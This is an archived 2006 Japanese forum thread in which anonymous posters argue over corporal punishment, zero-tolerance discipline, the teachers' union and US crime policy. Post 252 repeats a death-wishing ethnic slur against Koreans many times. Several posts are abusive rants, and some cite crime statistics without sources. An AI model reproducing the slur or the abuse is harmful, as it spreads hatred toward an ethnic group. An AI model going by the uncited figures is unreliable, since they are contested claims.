>>146 だから程度(体罰の)の問題でも
散々今まで揉めてきた経緯をすぐ忘れるなよ。
だからあれほど言ったじゃないか。
それで堂々巡りになって解決せず
今の学校は完璧に逃げ腰なったんだから。
この前聞いたんけど中学の部活で試合に行くときは
現地集合なんだって。
なぜかと言えば、目的地まで引率する際に
子供が事故に遭遇したら引率の先生、学校の責任に
なるからだとその親たちが言ってた。
親たちは子供たちの送り迎えが大変だとも言ってた。
お互い無責任な話だ。



184 :名無しさんの主張:2006/10/15(日) 03:10:55
言って聞かせれば丸く収まるなら罰則も必要はないし、刑法すら
いらないだろう。
戦争も起こらないし、すべて外交でかたがつく。

185 :名無しさんの主張:2006/10/15(日) 03:12:00
>>183
だから、体罰ということでなら、逃げ腰になるのは当然だが、注意すら
しないのは親云々ではないんだよ。

186 :名無しさんの主張:2006/10/15(日) 03:13:44
家で親から精神的にいじめられてりゃ学校で他の子供をいじめる。原因があるから結果として問題行動を起こすんじゃねーかな
その原因調べるには問題の生徒と交流するっきゃないだろ
原因を解決しないで規制すれば目に見えないとこで問題を起こすだろ
教師は金もらってなんぼの仕事じゃねーんだよ
自分を犠牲にしてでも子育てする聖職者
安定だの給料だの休暇だの言ってるやつが教師やんじゃねぇ

187 :名無しさんの主張:2006/10/15(日) 03:13:44
罰則強化すら親が問題で実施できないと言うなら、それも解決すべき
問題だが、日本は一番の問題として組合がそれを許さないんだよ。

188 :名無しさんの主張:2006/10/15(日) 03:15:08
>>186
家庭に原因があればそれは解決すべき問題だが、それ以前の話として
日教組教育を続ければ、このようになるのは必然なんだから、それを
改善する必要があるでしょ?

189 :名無しさんの主張:2006/10/15(日) 03:16:52
お前の「改善」は胡散臭い

190 :名無しさんの主張:2006/10/15(日) 03:17:42
アメリカでゼロトレランスを実施しても、善良な大半の生徒は痛痒を感じない。
だったら日本でも日教組教育にメスを入れればいいけど、なかなかそれが
できない。

191 :名無しさんの主張:2006/10/15(日) 03:19:17
日教祖は糞だから変えるべき、そこは賛成。けどな、体罰すべきは子供じゃなくて教師だよ

192 :名無しさんの主張:2006/10/15(日) 03:20:09
もし教育を改善してまだ問題の生徒がいるなら、それは固有の
問題を抱えている可能性が高いので、その解決をはかればよい。

193 :名無しさんの主張:2006/10/15(日) 03:21:13
>>191
だからそんなことをしたら問題になるからできないんで、だから体罰
のかわりに職務規定に違反する教師は首にできるようにしなければ
ならない。

194 :名無しさんの主張:2006/10/15(日) 03:22:37
スパルタ教育による規範の身体への刷り込みなぞ、その暴力性及び帰結(全体主義)が周知のものとなっている以上、手法としてはもはや時代遅れ。
時代むしろ規範化でなく管理化だよ。あらゆる情報のデータ化による異端分子の監視及び排除(性犯罪の前科持ちの情報公開等)、
我々自身による監視カメラの欲望(子どもの現在地トレースサービス)、椅子の堅さ、壁紙の色、吊革の感覚により、快、不快レベルで管理される我々の身体。
様々な反発や内面化のためのコストを考えると、こっちのが簡単だよ。

195 :名無しさんの主張:2006/10/15(日) 03:22:41
だいたい、国立の例でもわかるように、教師にクレームをつけたりする
のは市民団体に所属している父兄だったりする。

196 :名無しさんの主張:2006/10/15(日) 03:23:16
教師が自分大事さになにもしないことが問題

197 :名無しさんの主張:2006/10/15(日) 03:23:31
>>194
そのような理念で行われたリベラルな教育はうまくいかない。
実証済み。

198 :名無しさんの主張:2006/10/15(日) 03:24:37
また、繰り返しになるが、諭すだけでうまくいくなら、罰則など必要はない。

199 :名無しさんの主張:2006/10/15(日) 03:26:55
教師にも同じことがいえ、諭すだけで言うことを聞くなら、職務規定
違反に対する罰則は必要ない。
しかし現実には必要。

200 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/15(日) 03:27:25
日本の教育には、芸術を育てる原動力がないから問題なのですよ。

そういう意味で、日本はフランスに追従すべきだよなー。

ポルノの解禁・高校生のセックスの解禁は自由主義者として必須。

201 :名無しさんの主張:2006/10/15(日) 03:27:40
>>197
お前の理念で行われたリベラルな教育はうまくいかない。
実証済み。

202 :名無しさんの主張:2006/10/15(日) 03:28:13
駅前のホームレスがもっともな政治論を言ってたんだが、聞く気になれなかった。
ホームレスから罰せられんのかな

203 :名無しさんの主張:2006/10/15(日) 03:28:41
>>197
いや、別に私の理念で行われたリベラル教育などありませんが(苦笑)

204 :名無しさんの主張:2006/10/15(日) 03:29:28
>>203
つまり机上の空論

205 :名無しさんの主張:2006/10/15(日) 03:29:44
>>202
ホームレスの話を聞くという規則があって、それを守っていなければね。

206 :名無しさんの主張:2006/10/15(日) 03:30:50
>>204
いや、私はリベラルな教育を批判してるんで遭って、私の理念で
リベラルな教育が行われたことはないし、当然実証もされてない。

207 :名無しさんの主張:2006/10/15(日) 03:31:20
>>206
つまりただのなんの確証も無いゴネ厨

208 :名無しさんの主張:2006/10/15(日) 03:32:01
つまり、アメリカで行われたリベラル教育は失敗していると。
そして、日本でも日教組教育を続ければ現在のような状況に
陥るのは予言されていたと。
だからそれを変える必要がある、といってるわけでね。

209 :名無しさんの主張:2006/10/15(日) 03:32:05
教師の場合、義務教育も大学も出たいっぱしの大人だから子供とは違うと思われる。
子供は自分の気持ちを上手に表現できないから行動で表現するわけで、
教師にはそれを読解する能力が求められる。

210 :名無しさんの主張:2006/10/15(日) 03:32:57
>>209
いや、そういう問題ではなくて。
そんな精神論のようなものでうまくいくなら罰則はいらないわけで。

211 :名無しさんの主張:2006/10/15(日) 03:33:34
>>210
精神論なんてどっから出てきた?
妄想乙

212 :名無しさんの主張:2006/10/15(日) 03:34:25
リベラリストの主張するような
「生徒が悪いのではない、制度が悪いのである」
「すべての規制から解放すれば、生徒は生き生きと甦る」
「個人個人のニーズに合致させる教育」
「学年や教材や、時間割に縛られることなく自由に」
「従来のような画一的な学校体制を強いるのはよくない」
では上手くいかないことが実証されてるわけ。

213 :名無しさんの主張:2006/10/15(日) 03:34:29
>>210こそ精神論者

214 :名無しさんの主張:2006/10/15(日) 03:35:10
>>213
私は精神論でうまくいくといってるのではなく、実質的な改革が必要
だといってるわけでね。

215 :名無しさんの主張:2006/10/15(日) 03:35:47
>>214
実質的な改革という皮を被った精神論乙

216 :セニョール・五十嵐 ◆40WnEtzSeY :2006/10/15(日) 03:35:48
リベラルな教育のもとでなければ、芸術家は育たない。

モノトーンの北朝鮮みたいな国になるよ。

全体主義者・保守主義者・性差別主義者なんて、北朝鮮に追放だ。

217 :名無しさんの主張:2006/10/15(日) 03:36:45
>>216
アメリカには芸術家はいないの?

218 :名無しさんの主張:2006/10/15(日) 03:37:18
>>215
どこが精神論的なのか教えてくれる?

219 :名無しさんの主張:2006/10/15(日) 03:37:31
最近アメリカで銃をぶっぱなす事件が起きているわけだが


220 :名無しさんの主張:2006/10/15(日) 03:38:02
>>218
お前自体精神論

221 :名無しさんの主張:2006/10/15(日) 03:39:02
>>219
だから何でしょうか?
犯罪がゼロになったわけではなく、銃が規制されていない以上、当然
起こるでしょうが、殺人をふくめて暴力事件がリベラル教育を改める
ことで激減してますよ?

222 :名無しさんの主張:2006/10/15(日) 03:43:46
アメリカでゆとり教育が失敗し、当時の日本(詰め込み式、制服着)を真似しだしたとは聞いた事がある。
逆に日本はゆとり教育にいっちゃったわけだが。

223 :名無しさんの主張:2006/10/15(日) 03:45:06
>>220
なるほど、私の存在自体が精神論?w

224 :名無しさんの主張:2006/10/15(日) 03:45:23
>>223
さっさと寝ろ

225 :名無しさんの主張:2006/10/15(日) 03:46:38
>>224
まだ眠くないから。

226 :名無しさんの主張:2006/10/15(日) 03:47:04
>>225
お前に拒否権は無い

227 :名無しさんの主張:2006/10/15(日) 03:52:44
「アメリカ少年法の厳罰化に抑止効果はある」は誤り
http://www.kodomonoshiten.net/shonenhoUSA2.htm

228 :名無しさんの主張:2006/10/15(日) 03:57:05
>>227
アメリカでもたとえばニューヨークなどは進歩的な知識人の「死刑は犯罪
を抑止しない」という考えのもとで死刑は廃止になってたんだけど、犯罪が
多発して、1993年の選挙で廃止論のニューヨーク知事、マリオ・クオモを
はじめ、廃止論者があちこちで落選した。
で、「タフ・ポリシー」で臨む公約の共和党の候補者が当選。
犯罪の厳罰化を行ったら、殺人が34%減、レイプ17%減、強盗35%減
暴行18%減。
この流れがあって、本来リベラルのクリントンも警官の大増員、いくつかの罪名
に対する死刑の復活の法案に署名しました。

229 :名無しさんの主張:2006/10/15(日) 03:59:23
リベラルな人たちはタフポリシーの成果にたいして、たとえば少年犯罪
が減少したのは、少年の数が減ったからだと主張します。
しかし、米国での犯罪の減少率は年齢層別に比較しても人口の減少率
を上回っています。

230 :名無しさんの主張:2006/10/15(日) 04:00:29
>>227
なるほど
こいつ>>228の言ってること全然的外れだったわけだな
納得した

231 :名無しさんの主張:2006/10/15(日) 04:01:13
>>230
都合の悪いレスは見えない?

232 :名無しさんの主張:2006/10/15(日) 04:01:56
>>231
それはお前だろ
>>227をちゃんと読まずにレスしてるお前

233 :名無しさんの主張:2006/10/15(日) 04:02:17
それに、タフポリシーは少年犯に限ったことではないし、そもそも
それで、ゼロトレランスの効果を否定することもできない。

234 :名無しさんの主張:2006/10/15(日) 04:04:29
アメリカ以外に荒廃した教育環境を「立て直した」とされる国に例えば
どこがあるの?
俺の知っている例では、フィンランドがそうだし。
「成功例」とされるアメリカでも微細をうがっていけば、「問題点」とされる
部分だってどこかあるだろうし。

235 :名無しさんの主張:2006/10/15(日) 04:06:04
>>232
厳罰化以外の要因も考えられますと言ってはいるが、それが何かも言って
いなければ、その根拠も示してはいないが?

236 :名無しさんの主張:2006/10/15(日) 04:07:13
>>234
フィンランドはなぜ成功したの?

237 :名無しさんの主張:2006/10/15(日) 04:07:25
>>235
お前は数ある要因の中から、なぜか厳罰化だけを選んだ

238 :名無しさんの主張:2006/10/15(日) 04:09:00
70年代前後は、この「予期される刑罰」をあまりに軽くしたために
犯罪が増えていった。
とりわけ、殺人事件の増加は、その時期における死刑の停止による
もので、社会構造の変化が著しかった等といった社会科学的次元に
よるものではないという研究が、ヤンカーやエーリックによって最近の
アメリカでは為されています。
アメリカでは死刑が復活し、実際に犯罪が減少しているわけです。


239 :名無しさんの主張:2006/10/15(日) 04:09:24
>>235
つまりお前の厳罰化が要因だというのは「こじつけ」だ

240 :名無しさんの主張:2006/10/15(日) 04:10:41
>>238
はいこじつけ

241 :名無しさんの主張:2006/10/15(日) 04:10:48
>>237
学者が他に考えられないと判断してるのでね。
リベラルな政策で犯罪が増加し、タフポリシーで減少してるわけだし。
それ以前の研究で、貧富の格差なども考えられないとされているし。

242 :名無しさんの主張:2006/10/15(日) 04:11:45
>>236
日本の教育基本法を厳守した上で、学力世界一となったのが、フィンランド。
愛知県の管理教育を取り入れて、治安を回復したのが、アメリカ。

243 :名無しさんの主張:2006/10/15(日) 04:11:42
>>240
考えられることが「数ある」なら、たとえばどのようなもの?

244 :名無しさんの主張:2006/10/15(日) 04:12:29
>>242
あ、そうだ。
愛知県だった。
前のスレで読んだ。

245 :名無しさんの主張:2006/10/15(日) 04:12:32
>>241
つまりお前のこじつけだ
他に考えられるほど想像力が無いから厳罰化にこじつけたと

246 :名無しさんの主張:2006/10/15(日) 04:13:24
>>245
リベラルな政策で犯罪が増え、それをやめることで減少したのなら、当然
リベラリストは言い訳しますわね。

247 :名無しさんの主張:2006/10/15(日) 04:13:52
>>246
はいこじつけ乙

248 :名無しさんの主張:2006/10/15(日) 04:14:12
少年法に限定してるのも胡散臭いし。

249 :名無しさんの主張:2006/10/15(日) 04:14:43
レッテル貼り乙

250 :名無しさんの主張:2006/10/15(日) 04:17:11
「脳、脳、…」と言っている香具師にはかなりあやしいのが多い。

251 :名無しさんの主張:2006/10/15(日) 04:17:47
つまり、他の原因があるかもしれない、と言ってるに過ぎない。

252 :テレビ局各社は現在も盗聴中:2006/10/15(日) 04:18:11
お前等の中身は他人を盗聴して得た情報以外無いのか
無能チンピラキチガイチョンは関連スレッドを上げるんじゃないと
何度書き込みすればわかるんだ?

キチガイチョンは死ねキチガイチョンは死ねキチガイチョンは死ね
キチガイチョンは死ねキチガイチョンは死ねキチガイチョンは死ね
キチガイチョンは死ねキチガイチョンは死ねキチガイチョンは死ね
キチガイチョンは死ねキチガイチョンは死ねキチガイチョンは死ね
キチガイチョンは死ねキチガイチョンは死ねキチガイチョンは死ね
キチガイチョンは死ねキチガイチョンは死ねキチガイチョンは死ね
キチガイチョンは死ねキチガイチョンは死ねキチガイチョンは死ね

まだ足りないか?

253 :名無しさんの主張:2006/10/15(日) 04:18:24
>>250
なんで?神経科学がお嫌い?

254 :名無しさんの主張:2006/10/15(日) 04:18:35
>>251
反論できてないなお前
他の原因があるかもしれないという事実は覆らない

255 :名無しさんの主張:2006/10/15(日) 04:19:45
>>250
激しく同意

256 :名無しさんの主張:2006/10/15(日) 04:20:17
>>254
他の原因があるかもしれない、なんていうのは何も言っていないに等しい。
完全なものなんてないんだから。
しかし、一番蓋然性の高い判断が、政策の変更だということだ。

257 :名無しさんの主張:2006/10/15(日) 04:21:22
>>256
つまり他の要因を考えられるほどの頭がないから
一番主観であやしいと思ったものに一方的に悪扱いか
要はこじつけだなそれ

258 :名無しさんの主張:2006/10/15(日) 04:21:43
政策以外の原因だというなら、その原因を示してそれを証明する
必要がある。

259 :名無しさんの主張:2006/10/15(日) 04:22:31
>>258
こじつけにいちいち相手にする必要は無い
お前もう帰れ
議論にならん

260 :名無しさんの主張:2006/10/15(日) 04:22:53
>>257
蓋然性の意味を調べること。
合理的判断と言ってもいいね。

261 :名無しさんの主張:2006/10/15(日) 04:23:16
>>260
合理的じゃないのはお前

262 :名無しさんの主張:2006/10/15(日) 04:24:18
>>260
悪魔の証明って知ってる?
もう少し勉強してから来ような
まぁ無理だろうけど

263 :名無しさんの主張:2006/10/15(日) 04:25:36
守る必要のない規則なんかいらないな

264 :名無しさんの主張:2006/10/15(日) 04:25:57
>>261
何が想像できるのか、一例をあげてくれる?
政策が原因であるとする主張を否定する根拠は?
他の原因も考えられる、などという消極的なものじゃなく。

265 :名無しさんの主張:2006/10/15(日) 04:26:16
あまりにもキチガイすぎる>>256に退いた

266 :名無しさんの主張:2006/10/15(日) 04:26:51
>>262
別に悪魔の証明を求めてないですが?
他に合理的な説明ができるのかといってるだけで。

267 :名無しさんの主張:2006/10/15(日) 04:27:25
>>264
疑わしきは罰せず
そんなお前(および馬鹿ども)の一方的jな思い込みでそんな結論に達しないこと
もう少し勉強してから濃い

268 :名無しさんの主張:2006/10/15(日) 04:28:09
>>267
もういい相手にするな
こいつどうしようもない
議論にならん

269 :名無しさんの主張:2006/10/15(日) 04:28:51
>>267
疑わしきは罰せずって、誰も罰してませんw
ようするに、仮説としてもっとも合理的なものが中心仮説の地位を
占めるといってるだけで。

270 :名無しさんの主張:2006/10/15(日) 04:29:13
>>266
不気味すぎるなお前
将来が心配

271 :名無しさんの主張:2006/10/15(日) 04:29:47
他の原因も考えられるというのが反論としてなりたつなら、どんな
主張も可能になってしまう。

272 :名無しさんの主張:2006/10/15(日) 04:30:52
>>270
だから、他に合理的に説明がつくの?
何が原因だと想定すればそれが可能なの?

273 :名無しさんの主張:2006/10/15(日) 04:39:01
>>269
罰してませんとか言いながら一方的にアホな対策出してるし
一方的な馬鹿げた思い込みを「仮説」とか言ってるし
大丈夫かお前

>>271>>272
一方的な思い込みで可決するというなら
どんな魔女狩りも成立してしまう
お前の主張は狂ってる
人を洗脳し自由を一切認めないキチガイ思想だ

274 :名無しさんの主張:2006/10/15(日) 04:41:21
>>50読んで寒気がした
こんな狂った思想を絶対に日本に入れてはいけないと改めて思った

275 :名無しさんの主張:2006/10/15(日) 04:41:42
>>273
実際に仮説どおりの結果がでたから政策の成果と考えられている
わけで、それを否定するのは結構だが、それなら他に合理的に
説明可能な仮説があるのか?という当然の話なんだが?
それもなしにただ、他の原因がある可能性もあるなんて主張しても
も受け入れられないでしょう。

276 :名無しさんの主張:2006/10/15(日) 04:42:43
>>275
受け入れられないのはお前の主張
もうお前気持ち悪いよ
レスの一つ一つ読んでても虫唾が走る

277 :名無しさんの主張:2006/10/15(日) 04:43:50
>>274
同意…日本がこんなになるなんてやだよ俺
冷たい機械のような国だ

278 :名無しさんの主張:2006/10/15(日) 04:44:34
ヤンカーやエーリックという学者の仮説に基づいてタフポリシー
は行われ、想定どおりの結果が出た。
否定するなら、他の仮説を提示し、それを裏付けるデータが必要
なのは当然。

279 :名無しさんの主張:2006/10/15(日) 04:45:53
>>277
こういう奴の主張はなにがなんでも受け入れられないように
早々に叩き潰すべきだと思う・・・
個人の尊厳をこんな悪魔の管理社会で支配されては絶対にいけない

280 :名無しさんの主張:2006/10/15(日) 04:46:03
>>276
ヤンカーの仮説は受け入れられたからタフポリシーが実行された。
で、それを否定する主張は誰に受け入れられた?

281 :名無しさんの主張:2006/10/15(日) 04:51:58
>>280
受け入れられたんじゃなくて洗脳されただけだろ
もうお前怖いよキモイよ
絶対に政治家にはならないでね
そんな上っ面だけの安全なんか絶対に日本にはいらない

282 :名無しさんの主張:2006/10/15(日) 04:53:39
>>281
洗脳されたと言う根拠は?洗脳されて、実行したらたまたま偶然
成功した?

283 :名無しさんの主張:2006/10/15(日) 04:54:51
ゼロトレランスの成果もタフポリシーの成果を裏付けているのでは?

284 :名無しさんの主張:2006/10/15(日) 04:55:10
>>282
もうお前末期だな
可哀想に・・・
あんな冷酷な処置が「成功」なんて

最低だよお前

285 :名無しさんの主張:2006/10/15(日) 04:56:59
それは恐怖政治流の教育でしばられ、自律性を見失った(形成しそこなった)
子どもたちの場合でしょう。
自由にされてどうしたらいいか分からずに混乱しているんですよ。
自由と放縦は異なること、自由と反動もまた違うことを説明し、いっしょに考える。
そういった過程が学習であり、互いの尊重・信頼につながる。

そうした環境のもと育てば、そして恐怖政治の学校や家庭や地域から離れれば、
子どもはそれほど悪いことばかりしないはずです。
大人だって悪いことをする人もいるのだから、子どもに神経症的な完璧を求めてもムダです。
人間はときおり失敗しながら学ぶ生き物なのだから。なんでもマイナス評価ではいけません。
そんなことを繰り返すうちに、失敗を恐れて難しい課題にチャレンジしない
それゆえに能力をのばせない子どもができるのです。萎縮して、自己嫌悪にまみれた、
自分を過小評価するゆえに他人も過小評価するゆがんだ子を作っているのは>>50のような教育方法だ。

286 :名無しさんの主張:2006/10/15(日) 04:59:46
個人の尊厳を奪う>>282は悪魔だな
俺はこんな奴絶対に許せない
吐き気がする

287 :名無しさんの主張:2006/10/15(日) 05:00:10
>>284
善良な大半の生徒は痛痒を感じてないようだけどね。
それに、アメリカの例は日教組教育の誤りを主張するために出した
例で、そこまでやる必要があると言ってるわけでもない。

>>285
善良な生徒は暴力教室を望んでいなかっただけのことでしょう。

288 :名無しさんの主張:2006/10/15(日) 05:01:43
お前の言う「善良」が胡散臭いからな
麻痺し洗脳された「大半」から外れた人にとっては最低の行為なのに

お前は絶対に許せない

289 :名無しさんの主張:2006/10/15(日) 05:03:31
ゼロトレランス導入にあたって、やはり伝説のこの高校の話題に触れざるをえないな。

http://page.freett.com/Dpop/profile/togo2.htm
http://www.jttk.zaq.ne.jp/baags702/genba004.html

290 :名無しさんの主張:2006/10/15(日) 05:07:57
>>256
ゼロトレランスよりはるかにきついように見えるが?

291 :名無しさんの主張:2006/10/15(日) 05:15:02
>>288
善良な生徒というのは、授業中に歩き回ったりおしゃべりするような
生徒でもなく、たとえそのようなことをしても注意されれば態度を
改めるような生徒。
決して日の丸をあげるなと詰め寄り、校長に土下座を要求するような
生徒ではない。
そして、善良でない生徒にとっては最低でしょう。
だから効果があるし、矯正することが本人のためだという理念でしょう。


292 :名無しさんの主張:2006/10/15(日) 05:18:34
>>291
何が善良だ何が矯正だ何が本人のためだ
結局社会とかいう身勝手な連中に都合いいように洗脳したいだけだろうが
おまえたちにとって都合のいいものは「善」と見なしたいだけだろうが
お前みたいな魔女狩り野郎はヘドが出るんだよ
個人の尊厳を奪うのがそんなに嬉しいか

お前最低だよ
俺が今どれだけ義憤を抑えているかわかっているのか?
俺が今どれだけ怒りを抑えてレスしてるのかわかってるのか?
俺が今どれだけお前に怒りをぶつけたいと思ってるかわかってるのか?
お前は絶対に許せないんだよ

293 :名無しさんの主張:2006/10/15(日) 05:20:12
>>292
はあ?
君は犯罪社会が望みか?
混乱した世界が望みか?
善良な生徒の人権は守られなくていいのか?

294 :名無しさんの主張:2006/10/15(日) 05:21:14
っていうか、リアルに怒りをぶつけられても困惑するが…。

295 :名無しさんの主張:2006/10/15(日) 05:26:32
>>293
はぁ?犯罪社会?混乱した世界?善良な生徒の人権は守られなくていい?
お前どうやったら俺のレスがそうなるんだ?
個人の尊厳を奪うことを望むだけに飽き足らず俺のレスを曲解し悪に仕立て上げようとしてんのか
おまえ最低のクズだな

296 :名無しさんの主張:2006/10/15(日) 05:29:13
>>50
そんな腐った世界が社会だというなら
社会なんてこの世から消えろ

297 :名無しさんの主張:2006/10/15(日) 05:29:40
>>295
お前の言ってることだとそうなるだろうが。
罰則強化によって授業をちゃんと受けたいと望む生徒の権利も守られ
問題生徒も行動をあらためるようになれば万々歳じゃない。
ルールの上で許された範囲で自由を謳歌するという民主主義の基本
を学ぶ、つまり社会性を養ってるわけだから。
問題生徒にとって最低だからと実行せず、暴力教室や学級崩壊に
なれば、授業を受けたいと望む生徒の権利はどうなるんだ?

298 :名無しさんの主張:2006/10/15(日) 05:29:58
富貴には「仁」で対抗し、権勢には「義」で立ち向かおう。
あくまで一個の独立した人格を守り通し、支配者の思うにまかせてはならぬ。
人間の意志の力は何よりも強いのだ。たとえ天地の神であろうとも、
これを勝手に左右することはできない。ー菜根譚ー

299 :名無しさんの主張:2006/10/15(日) 05:32:39
>>297
お前馬鹿だろ
無駄なルールを作るなと言てtるんだ
髪の毛染めたくらいで犯罪社会になるのか?
制服着ていないだけで混乱した世界になるのか?
校歌歌わんくらいで善良な生徒の人権が侵害されるのか?


300 :名無しさんの主張:2006/10/15(日) 05:36:59
>>299
誰が無駄なルールを作れといった?
ルールを排除すればどうなるか、それはアメリカの例でわかるだろう
と言ってるだけで、別に無駄なものを作れなどとは言っていないが?
もちろん、無駄に思えるルールでもそれを適用することは意味がある
だろうとは思うが、そうしろとは言っていない。
作られたルールを厳守させろと言っているだけで。

301 :名無しさんの主張:2006/10/15(日) 05:40:41
吾が定めし法を犯せし者、断じて赦すまじ。
危うき谷にして猶入る者なし。
死を恐るればなり。
なれば無赦の法を敢えて犯す者あらんか。
能く治むるは、それ無赦の法なり。
「韓非子」

つまり、刑は厳しくせよ。
危険な谷にいかないのは、死を恐れるからだ。
刑の執行が緩やかで優しく見えるならば、かえって刑死者を増やすこと
になるだろう。
という意味です。

302 :名無しさんの主張:2006/10/15(日) 05:40:59
>>300
馬鹿かお前
誰がすべてのルールを排除しろと言った?
無駄なルールを排除しろと言ったんだよ猿

>もちろん、無駄に思えるルールでもそれを適用することは意味がある
無い

だから無駄なルールを作って個人の尊厳を奪うなと言ってるんだ
馬鹿かてめえは?いい加減にしろ
おれが今どれだけ怒り狂ってるのアかわかってるのかこの野郎
なめてんじゃねえぞコラ誰がルール全部なくせといったんだ樽野郎
個人の尊厳奪うような自由もルールも絶対に許されないことなんだよ
わかったかこの原核脳みそ

303 :名無しさんの主張:2006/10/15(日) 05:42:08
食べたくないのに食べると健康を損ねるように、
学びたくないのに学習すると記憶力が損なわれて
何も吸収できなくなってしまう。
ーレオナルド・ダ・ヴィンチー

304 :名無しさんの主張:2006/10/15(日) 05:44:00
>>302
何言ってんだ?
俺は最初から日教組のルールを排除する教育を批判しており、それが
どのような結果を生むかアメリカの例を出して主張してるんだが?
それに無駄かどうかは主観によるところもあるんだよ。
たとえば、順番を守る、ということをルールとして取り入れることが
無駄に感じることもあれば、社会性を考えれば重要だと思う人もいるんだ。

305 :名無しさんの主張:2006/10/15(日) 05:45:33
>>303
かといって放置すれば、学びたい人の機会を奪ってしまう。

306 :名無しさんの主張:2006/10/15(日) 05:45:46
>>304
やっぱりお前は許せない
お前みたいなゲス野郎との対話に夜を費やしたことが今月の俺の最大の過失になりそうだな
社会の奴隷になるために為に洗脳を肯定するわけだ
お前どれだけ俺を怒らせたら気が済むんだ?いい加減にしろこのクズ野郎

307 :名無しさんの主張:2006/10/15(日) 05:46:24
>>305
どっから放置が出てきたの?
気持ち悪いよキミ

308 :名無しさんの主張:2006/10/15(日) 05:48:04
>>305
話してもわからない人間は放置するんじゃないの?
ではどうする?河で遊ぶ?

309 :名無しさんの主張:2006/10/15(日) 05:48:51
>>304
反論になってないが?


310 :名無しさんの主張:2006/10/15(日) 05:51:58
ホント最低だなこいつ・・・>>304

311 :名無しさんの主張:2006/10/15(日) 05:52:01
>>304
ルールを遵守させることは社会性を養う意味でも犯罪抑止の意味からも
重要であり、日教組のような教育は学級崩壊を生むと言ってるだけなんだが。
っていうか、君怒りすぎ。

312 :名無しさんの主張:2006/10/15(日) 05:56:27
>>311
どうでもいいルールを厳守させるのは社会の奴隷になってしまう第一歩だろうが
くだらんルールを守らせてる暇があったらくだらんルールを強制する社会を批難しろ
そんな守る必要の無いルールまで守らせるのが社会人だというなら俺は自分のガキを社会人にしたくない
一生暮らせる金くれてやってニートしてもらうよ

>っていうか、君怒りすぎ。
貴様が俺を怒らせたんだろが
いい加減にしろよてめえ
お前が腐ったゴミみてえな発言しなきゃ俺はここまで義憤を爆発させることはなかったんだよ樽野郎

313 :名無しさんの主張:2006/10/15(日) 05:58:46
>>309
ほんとに>>304は反論になってないな

>>305
おい>>308が返答してるよ早く答えてやれ

314 :名無しさんの主張:2006/10/15(日) 05:59:35
>>312
心配しなくても、誰も奴隷にはなっていないし、アメリカ人も奴隷には
なっていない。
ただ、個人の思惑で公共の秩序を乱すような非社会的人間にならないだけ。

315 :名無しさんの主張:2006/10/15(日) 06:00:09

社会の構図

           KING(金利配当生活者) ←永久に贅沢を楽しむ勝ち組
            ↓                    ↑吸い上げる
          奴隷使い(上場企業)
            ↓                    ↑吸い取られる
      効率よく稼がせてもらえる奴隷(上場企業社員)
            ↓                    ↑お金を吸い取られる
    馬車馬や家畜扱いの詐取される奴隷(中小企業勤務高卒社員)
            ↓                    ↑お金をほぼ全部吸い取られる
     犬以下、ゴミ、究極の使い捨て奴隷(派遣、バイト)


316 :名無しさんの主張:2006/10/15(日) 06:00:49
自由でないのに、自由であると考えている人間ほど奴隷になっている。
byゲーテ

人民を奴隷化するものは王侯・貴族ではなく、また地主・資本家でもない。
人民を奴隷化するものは人民自身の無知である。
byヘンリー・ジョージ(米・経済学者)

高位にある人間は三重に奴隷である。すなわち、
君主または国家の奴隷であり、名声の奴隷であり、仕事の奴隷である。
byフランシス=ベーコン

あらゆる人間は、いかなる時代におけるのと同じく、現在でも奴隷と自由人に分かれる。
自分の一日の三分のニを自己のために持っていないものは奴隷である。
byニイチェ「人間的な、あまり人間的な」

317 :名無しさんの主張:2006/10/15(日) 06:02:22
>>312
アメリカ人が奴隷になってると思う?
どのへんが?

318 :名無しさんの主張:2006/10/15(日) 06:02:28
/ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
| 奴隷はな、奴隷の境遇に慣れ過ぎるとな、驚いた事に自分の足を繋いでいる鎖の
| 自慢をお互いに始めるんや。どっちの鎖が光ってて重そうで高価か、とかな。
| んで鎖に繋がれていない自由人を嘲笑さえするんや。でも奴隷達を繋いどるのは
| 実は同じたった1本の鎖に過ぎないんや。そして奴隷はどこまでも奴隷に過ぎないねん。
|
| 過去の奴隷は、自由人が力によって征服され、やむなく奴隷に身を落としたんや。
| 彼らは、一部の甘やかされとった特権者を除けば、奴隷になっても精神の自由までをも
| 譲り渡すことはなかったんやけどな。血族の誇りや父祖の文明の偉大さを忘れず、隙あらば逃亡し、
| あるいは反乱を起こして、労働に鍛え抜かれた肉体によって肥え太った主人を血祭りにあげたんや。
|
| 現代の奴隷は、自ら進んで奴隷の衣服を着、首に屈辱のヒモを巻き付けてるねん。
| んでな、何より驚くべきことに、現代の奴隷は、自らが奴隷であることにすら気付いとらんのや。
| それどころか彼らは、奴隷であることの中に自らの唯一の誇りを見い出してさえおるねん。

   ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄∨ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
          ,. -──- 、
          /:::::::::::::::::::::::::::::ヽ
       /::::::::::::ハ::::;:::::::::::::::::゙:,
       ,'::::;i:/レ'  ヽiヽ:::::::::::::::::!
       l::::|'r,:=;   ,:=;、';i:::::::::::::!
       .,r'‐;|.l !::::i  i:::::i l |::::::::::::|
     ,'.三ミi 'ー'゙  'ー'゙ |:::::::::::::|
     | 'ri''ヾ:、  r‐┐  ,.|::::::::::::::|
     l |i,__!:>'=''r‐''".i:::::r、:::::|
      ! l,|: |"  ゙、'、 ;:/::;/ ヽ:|
     l!  |大"    `''"/'"'   ヽ
     !  | ヽ|     、i  ,. イ'


319 :名無しさんの主張:2006/10/15(日) 06:04:23
負け組に負け組と悟らせずに中流と思わせて
ニートやフリーター叩きで憂さ晴らしさせマスメディアを使い欲望を煽りまくり
際限なく消費させ、労働に仕向け、その上前をはねるのが日本の政治屋の支配モデル。
リーマンvsニート、専業主婦vs兼業主婦、子持ちvs子無し。

320 :名無しさんの主張:2006/10/15(日) 06:05:42
社会ルールを守ることが奴隷などといえば、市民社会は成立しない。

人はすべて生まれつき自分に必要なすべてのものにたいして権利をもって
いる。
